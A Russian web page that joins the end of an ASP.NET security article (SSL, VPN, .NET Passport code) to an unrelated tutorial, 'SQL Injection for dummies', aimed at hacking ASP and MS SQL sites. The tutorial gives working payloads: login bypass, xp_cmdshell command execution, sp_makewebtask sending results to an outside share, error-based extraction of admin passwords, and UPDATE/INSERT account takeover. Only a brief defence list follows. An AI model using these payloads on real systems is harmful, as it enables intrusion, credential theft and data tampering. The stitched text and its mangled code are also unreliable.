    2. Настроить сервер и установить сертификаты на клиентских броузерах: далее для успешного прохождения аутентификации запросов SSL необходимо добавить сертификаты, как на сервере, так и на клиентских машинах. Более того, клиентские сертификаты предназначены не для компьютера, а для броузера, т. е., если пользователь использует и Internet Explorer, и Netscape, желательно выдать ему сертификаты для обоих обозревателей. Впрочем, и серверные сертификаты тоже предназначены для разных типов серверов (На Verisign вы сможете найти сертификаты для более чем 50 видов серверов), но всё отличие в том, что их, как правило, не меняют, разве только новую версию устанавливают.

    ПРИМЕЧАНИЕ

    Но, не смотря на отсутствие официальной регистрации, триальный сертификат является легальным.

    VPN – это расширение локальной сети, основанное на применении глобальной, в частности, Internet’а. Например, пользователь, работающий на удалённой машине, может соединиться с локальной сетью по средствам VPN, используя при этом Internet. С помощью этой технологии вы можете отправлять данные между компьютерами через защищённое соединение, поскольку VPN обладает теми же средствами безопасности, что и локальная сеть. Одним из недостатков VPN необходимость в долговременном соединении для эффективной работы. Для обмена данными VPN работает со следующими протоколами: Microsoft Point-to-Point Tunneling Protocol (PPTP), поставляемый с Windows NT 4.0 и Windows 2000, или Layer Two Tunneling Protocol (L2TP), доступный в Windows 2000.
    ПРИМЕЧАНИЕ

    В списке соответствующих операционных систем приведены лишь те, начиная с версий которых, данные протоколы стали доступными, т. е. в число этих ОС должны войти и более поздние версии, например, Windows XP, Windows 2003 Server.

    Web-службы и средства их безопасности – это очень интересные и актуальные темы, учитывая то, что рост популярности Web-сервисов пошёл резко вверх с появлением.NET Framework и VS.NET. Но мы не станем дальше углубляться в подробности, а вернёмся в русло этой статьи. Вы можете с лёгкостью сами освоить все эти технологии. Для этого вам нужно лишь немного желания, терпения и свободного времени. Я могу вам дать только путеводительные метки, которые смогут вас направить по нужному курсу:

    * http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/default.asp
    * http://www.microsoft.com/isaserver
    * http://support.microsoft.com/default.aspx?scid=kb;EN-US;q307267
    * http://www.w3.org/TR/wsdl.html
    * http://www.w3.org/TR/SOAP/

    Аутентификация паспортом:

    Паспорт – это единая система регистрации, созданная Microsoft, им можно воспользоваться на любом Web-сайте, являющемся членом этой акции. Одним важным плюсом данной технологии является то, что пользователю не нужно помнить регистрационные данные для каждого сайта в отдельности, что часто случается, когда привычный для вас аккуант уже занят на определённом web-узле. Паспорт позволяет решить эту проблему благодаря тому, что он использует общую базу о пользователях, поэтому на сайтах, поддерживающих.NET паспорт вы будете вводить всегда одни и те же регистрационные данные: ваш e-mail и пароль.

    Метод аутентификации на основе паспорта использует стандартные технологии Web для удобства использования и сохранения конфиденциальности:

    * защищённый протокол SSL
    * cookie-файлы
    * JavaScript 1.2
    * шифрование методом 3DES

    Для того чтобы реализовать всю мощь возможностей паспорта, вам нужно выполнить следующие действия:

    1. Загрузите.NET passport SDK по следующему адресу:http://msdn.microsoft.com/library/default.asp?url=/downloads/list/websrvpass.asp

    2. После этого вам следует зарегистрировать свой сайт в службе.NET паспорта: http://go.microsoft.com/fwlink/?LinkID=9732. Если вы не выполните регистрацию, то ваши возможности будут крайне ограничены, и вы не сможете в полной мере получить ожидаемый результат, например, для выхода из системы (т. е. logout) вам придётся закрыть все окна броузера и после этого удалить все cookie-файлы с паспортными данными

    Также как и при использовании других типов аутентификации, сначала нужно настроить файл конфигурации проекта. Следующий листинг демонстрирует базовое содержание раздела authentication файла настройки:

    В этом коде мы задаём тип аутентификации паспортом, после чего задаём один единственный параметр, настраивающий аутентификацию паспортом – адрес страницы, на которую будет переадресован пользователь, при возникновении необходимости пройти регистрацию:

    Ещё одна черта, объединяющая все виды аутентификации, — это интерфейс IIdendity, на основе которого были созданы все классы сведений о пользователе для различных видов аутентификации. Аутентификация паспортом тоже не является исключением из этого списка, и средством, реализующим все основные свойства, стал объект System.Web.Security.PassportIdentity инфраструктуры.NET Framework.

    Для обозначения ссылки к регистрационной странице принято использовать специализированный логотип, подгружаемый через Интернет. Из-за того, что этот логотип обычно приходится использовать довольно часто, лучше всего создать отдельный элемент управления, реализующий компонент аутентификации. Для этого выполните следующие действия:

    1. Cоздайте в VS.NET новый проект типа ASP.NET Web Application
    2. Добавьте в него пользовательский элемент управления Web User Control и задаёте ему имя passport.ascx
    3. Замените его исходный код на следующий:

    passport.ascx.vb:

    Imports System.Web.Security Public Class passport Inherits System.Web.UI.UserControl #Region " Web Form Designer Generated Code " "This call is required by the Web Form Designer. Private Sub InitializeComponent() End Sub "NOTE: The following placeholder declaration is required by the Web Form Designer. "Do not delete or move it. Private designerPlaceholderDeclaration As System.Object Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init "CODEGEN: This method call is required by the Web Form Designer "Do not modify it using the code editor. InitializeComponent() End Sub #End Region Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Dim id As PassportIdentity " Получаем данные о текущем пользователе id = CType(context.User.Identity, PassportIdentity) " Отображаем кнопку регистрации Response.Write(id.LogoTag()) End Sub End Class 1. После этого измените имя страницы Web-проекта на login.aspx и введите следующий код структуры страницы: login.aspx: <%@ Page Language="vb" AutoEventWireup="false" Codebehind="login.aspx.vb" Inherits="PassAuth.WebForm1"%> <%@ Register TagName="passport" TagPrefix="ctl" src="passport.ascx"%> LogIn

    Все основные действия по аутентификации пользователя берёт на себя объект PassportIdentity, а точнее служба Microsoft Passport, на которую.NET Framework выходит с помощью объекта PassportIdentity. Именно поэтому, вам остаётся только пожинать плоды, но для того, чтобы знать, что конкретно можно и нужно пожинать, обратитесь к таблице 1, в которой разъясняются все возможные атрибуты, описывающие зарегистрировавшегося пользователя.

    Имя атрибута Описание
    Accessibility Определяет, следует ли допустить опции доступности для данного
    пользователя на всех узлах, являющимися членами Microsoft Passport
    BDay_precision Определяет точность атрибута Birthdate
    Birthdate Содержит дату или год рождения пользователя, в зависимости от значения
    атрибута BDay_precision
    City Идентификатор GeoID, хранящий информацию о местоположении
    пользователя
    Country Код страны пользователя по стандарту ISO 3166
    Directory Пока не используется
    Firstname Имя пользователя
    Flags Содержит опции пользовательского профиля
    Gender Определяет пол пользователя
    Lang_Preference Идентификатор LCID национального языка пользователя
    Lastname Фамилия пользователя
    MemberIDHigh Уникальный идентификатор пользователя PUID высокого уровня
    MemberIDLow Уникальный идентификатор пользователя PUID низкого уровня
    MemberName Содержит имя пользователя и имя домена, разделённые знаком “@”
    Nickname Дружелюбное обращение к пользователю
    Occupation Содержит некоторую дополнительную информацию о пользователе, в
    частности, род деятельности
    PostalCode Почтовый индекс пользователя в США или в другой стране
    PreferredEmail Адрес электронной почты пользователя
    ProfileVersion Версия профиля пользователя
    Region Идентификатор GeoID, обозначающий место проживания пользователя в
    стране
    TimeZone Определяет часовой пояс, в котором проживает пользователь
    Wallet Определяет, хранит ли пользователь паспорт в
    бумажнике

    Табл. 1 – Опции профиля пользователя

    Для получения доступа ко всем этим атрибутам есть два способа: методом GetProfileObject объекта PassportIdentity и через свойство Item того же объекта. Следующий листинг, написанный на языке C#, демонстрирует оба эти способа в действии:
    default.aspx.cs:

    using System.Web.Security; … private void Page_Load(object sender, System.EventArgs e) { PassportIdentity id; id = (PassportIdentity)User.Identity; Response.Write(id["Firstname"] + "
    "); Response.Write(id.GetProfileObject("Lastname") + "
    "); }

    Теперь давайте вернёмся к нашему проекту с элементом управления passport.ascx и доведём страницу регистрации до ума. Для этого измените файлы login.aspx и login.aspx.vb следующим образом:
    login.aspx:

    <%@ Page Language="vb" AutoEventWireup="false" Codebehind="login.aspx.vb" Inherits="PassAuth.WebForm1"%> <%@ Register TagName="passport" TagPrefix="ctl" src="passport.ascx"%> LogIn

    Please login...

    PUID:
    Firstname:
    Lastname:
    E-mail:

    SQL Injection для чайников, взлом ASP+MSSQL

    Alexander Antipov

    Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки.


    Эта статья предназначена для того, чтобы помочь новичкам справиться с проблемами, с которыми они могут столкнуться при использовании техники SQL Injection, успешно использовать ее и уметь защитить себя от подобных нападений.

    Введение

    Когда у интересующего сервера открыт только 80 порт, и сканер уязвимостей не может сообщить ничего интересного, и вы знаете, что системный администратор всегда очень оперативно устанавливает все заплаты на web-сервер, последним нашим шансом остается web-взлом. SQL injection - один из типов web-взлома, которые используют только 80 порт, и может сработать, даже при своевременно установленных заплатах. Это нападение более направлено на web-приложения (типа ASP, JSP, PHP, CGI, и т.д), чем непосредственно на web-сервер или сервисы в ОС.

    Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки. Также рекомендую просмотреть приведенные в конце статьи ссылки для получения более подробной информации от специалистов в данной области.

    1.1 Что такое SQL Injection?

    SQL Injection - метод, предназначенный для введения SQL запросов/команд через web-страницы. Многие web-страницы используют параметры, представленные Web пользователям, и делают SQL запрос базы данных. Возьмем для примера случай с логином пользователя, когда имеется web-страница c именем и паролем и производится SQL запрос в базе данных, для осуществления проверки, имеется ли зарегистрированный пользователь с таким именем и паролем. С использованием SQL Injection можно послать придуманное имя пользователя и/или поле пароля, изменяющее SQL запрос, что может предоставить нам кое-что интересное.

    2.0 Что мы должны искать

    Попробуйте найти страницы, которые запрашивают у вас данные, например страница поиска, обсуждений, и т.д. Иногда html страницы используют метод POST, чтобы послать команды другой Web странице. В этом случае вы не увидите параметры в URL. Однако в этом случае вы можете искать тэг "FORM" в исходном коде HTML страниц. Вы найдете, что-то типа такого:



    Все параметры между

    и
    потенциально могут быть уязвимы к введению SQL кода.

    2.1 Что если вы не нашли страницу, которая использует ввод?

    Поищите страницы, подобно ASP, JSP, CGI, или PHP Web страницам. Попробуйте найти страницы, которые используют параметры, подобно:

    3.0. Как мне проверить что то, что я нашел, уязвимо?

    Попробуйте начать с одиночной кавычки. Введите следующую строку:

    hi" or 1=1--

    в поле имя пользователя или пароль, или даже в URL параметре. Пример:

    Login: hi" or 1=1--
    Pass: hi" or 1=1--
    http://duck/index.asp?id=hi" or 1=1--

    Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример:



    Если удача на вашей стороне, вы войдете в систему без имени или пароля.

    3.1 Но почему " or 1=1--?

    Давайте рассмотрим другой пример, который объясняет полезность конструкции " or 1=1-- . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:

    http://duck/index.asp?category=food

    В URL, "category" – это имя переменной, и "food" – значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:

    v_cat = request("category")
    sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
    set rs=conn.execute(sqlstr)

    как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать:

    SELECT * FROM product WHERE PCategory="food"

    Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае "food". Теперь изменим URL следующим образом:

    http://duck/index.asp?category=food" or 1=1--
    SELECT * FROM product WHERE PCategory="food" or 1=1--‘

    Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен "food" или нет. Двойная черточка "-" сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой ("). Иногда можно заменить двойную черточку на диез "#".

    Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте:

    " or "a"="a

    Теперь SQL запрос станет:

    SELECT * FROM product WHERE PCategory="food" or "a"="a"

    Этот запрос возвратит тот же самый результат.

    В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей:

    " or 1=1--
    " or 1=1--
    or 1=1--
    " or "a"="a
    " or "a"="a
    ") or ("a"="a

    4.0 Как можно удаленно выполнять команды, используя SQL injection?

    Возможность вводить SQL команду обычно означает, что мы можем выполнять SQL запросы по желанию. Заданная по умолчанию инсталляция MS SQL Server выполняется с системными правами. Мы можем вызвать встроенные процедуры, типа master..xp_cmdshell, для удаленного выполнения произвольных команд:

    "; exec master..xp_cmdshell "ping 10.10.1.2" --

    Попробуйте использовать двойные кавычки ("), если (") не срабатывает.

    Точка с запятой закончит текущий SQL запрос и позволит вам запускать новые SQL команды. Чтобы проверить, выполнена ли команда успешно, вы можете проверить ICMP пакеты в 10.10.1.2, присутствуют ли в них какие либо пакеты с уязвимого сервера:

    http://сайт/?ID=31610

    Если вы не получили никакой запрос утилиты ping от сервера, и получаете сообщение об ошибке, указывающее ошибку разрешения, возможно, что администратор ограничил доступ Web пользователя к сохраненным процедурам.

    5.0 Как получить результаты моего SQL запроса?

    Можно использовать sp_makewebtask, чтобы записать ваш запрос в HTML:

    "; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

    Указываемый IP должен иметь папку "share" с доступом для Everyone.

    6.0 Как получить данные из базы данных, используя ODBC сообщение об ошибках?

    Мы можем использовать информацию из сообщения об ошибке, произведенной SQL сервером, чтобы получить любые данные. Например, рассмотрим следующую страницу:

    http://duck/index.asp?id=10

    Теперь мы попробуем объединить целое ‘10’ с другой строкой в базе данных:

    http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

    Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.

    Поле TABLE_NAME очевидно содержит имя каждой таблицы в базе данных. Она была выбрана, потому что мы знаем, что она всегда существует. Наш запрос:

    SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

    Этот запрос возвратит первое имя в базе данных. Когда мы UNION это строковое значение к целому 10, MS SQL Server попытается преобразовать строку nvarchar к integer. Это вызовет ошибку, которая сообщит, что не может преобразовать nvarchar к int. Сервер выдаст следующую ошибку:


    Syntax error converting the nvarchar value "table1" to a column of data type int.
    /index.asp, line 5

    Сообщение об ошибке содержит информацию о значении, которое не может быть преобразовано в целое. В этом случае, мы получили имя первой таблицы - "table1".

    Для получения следующего имени таблицы, мы можем использовать следующий запрос:

    http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1")--

    Мы также можем искать данные, используя ключ LIKE:

    http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

    Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the nvarchar value "admin_login" to a column of data type int. /index.asp, line 5

    Соответствующая конструкция "%25login%25" будет заменена на %login% в SQL сервере. В этом случае, мы получим имя таблицы, которая соответствует критерию "admin_login".

    6.1 Как узнать все имена столбцов в таблице?

    Мы можем использовать таблицу INFORMATION_SCHEMA.COLUMNS, чтобы отобразить все имена столбцов в таблице:

    http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

    Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
    Syntax error converting the nvarchar value "login_id" to a column of data type int.
    /index.asp, line 5

    Теперь, когда мы узнали первое имя столбца, мы можем использовать NOT IN(), чтобы получить имя следующего столбца:

    http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")-

    Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
    Syntax error converting the nvarchar value "login_name" to a column of data type int.
    /index.asp, line 5

    Продолжая, мы получим остальные имена столбцов, т.е. "password", "details", пока не получим следующую ошибку.

    http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id","login_name","password",details")--

    Microsoft OLE DB Provider for ODBC Drivers error "80040e14"
    ORDER BY items must appear in the select list if the statement contains a UNION operator.
    /index.asp, line 5

    6.2. Как нам получить нужные нам данные?

    Теперь, когда мы идентифицировали некоторые важные таблицы, мы можем использовать ту же самую методику, что бы получить информацию из базы данных.

    Давайте получим первый login_name из таблицы "admin_login":

    http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

    Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
    Syntax error converting the nvarchar value "neo" to a column of data type int.
    /index.asp, line 5

    Теперь мы знаем, что есть admin пользователь с именем входа в систему "neo". Наконец, мы можем получить пароль "neo":

    http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="neo"--

    Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
    Syntax error converting the nvarchar value "m4trix" to a column of data type int.
    /index.asp, line 5

    Теперь мы сможем войти в систему как "neo" с паролем "m4trix".

    6.3 Как получить числовое значение строки?

    Есть ограничение в методе, описанном выше. Мы не сможем получить сообщение об ошибке, если мы попробуем преобразовать текст, который состоит из числа (только символы между 0...9). Сейчас мы опишем получение пароля "31173" у пользователя "trinity":

    http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="trinity"--

    Мы вероятно получим ошибку "Page Not Found". Причина в том, что пароль "31173" будет преобразован в число, перед UNION с целым числом (в нашем случае 10). Так как получится правильное UNION выражение, SQL сервер не выдаст сообщение об ошибке, и таким образом мы не сможем получить числовую запись.

    Чтобы решить эту проблему, мы можем добавить в конец числовую строку с некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:

    http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login where login_name="trinity"--

    Мы просто используем знак "плюс" (+) для того, чтобы добавить в конец пароль с любым текстом (ASSCII кодирование для "+" = 0x2b). Затем, мы добавим в конец "%20morpheus" в фактический пароль. Поэтому, даже если значение пароля "31173", он станет "31173 morpheus". Вручную вызывая функцию convert(), пытаясь преобразовать " 31173 morpheus" в целое число, SQL Сервер выдаст ODBC сообщение об ошибке:

    Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
    Syntax error converting the nvarchar value "31173 morpheus" to a column of data type int.
    /index.asp, line 5

    Теперь мы сможем войти в систему как "trinity" с паролем "31173".

    7.0 Как модифицировать/вставить данные в базу данных?

    После того, как мы получили имена всех столбцом в таблице, мы сможем обновить(UPDATE) или даже вставить (INSERT) новую запись в таблицу. Например, мы можем изменить пароль для "neo":

    http://duck/index.asp?id=10; UPDATE "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

    Чтобы внести (INSERT) новую запись в базу данных:

    http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

    Теперь мы сможем войти в систему как "neo" с паролем "newpas5".

    8.0 Как избежать SQL Injection?

    Фильтруйте специальные символы во всех строках в:

    Любых данных, вводимых пользователем
    - URL параметрах
    - Cookie

    Для числовых значений, конвертируйте их к integer, перед передачей их к SQL запросу. Или используйте ISNUMERIC, чтобы удостовериться это целое число.

    Запускайте SQL сервер как непривилегированный пользователь.

    Удалите неиспользуемые сохраненные процедуры: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask



    Понравилась статья? Поделитесь с друзьями!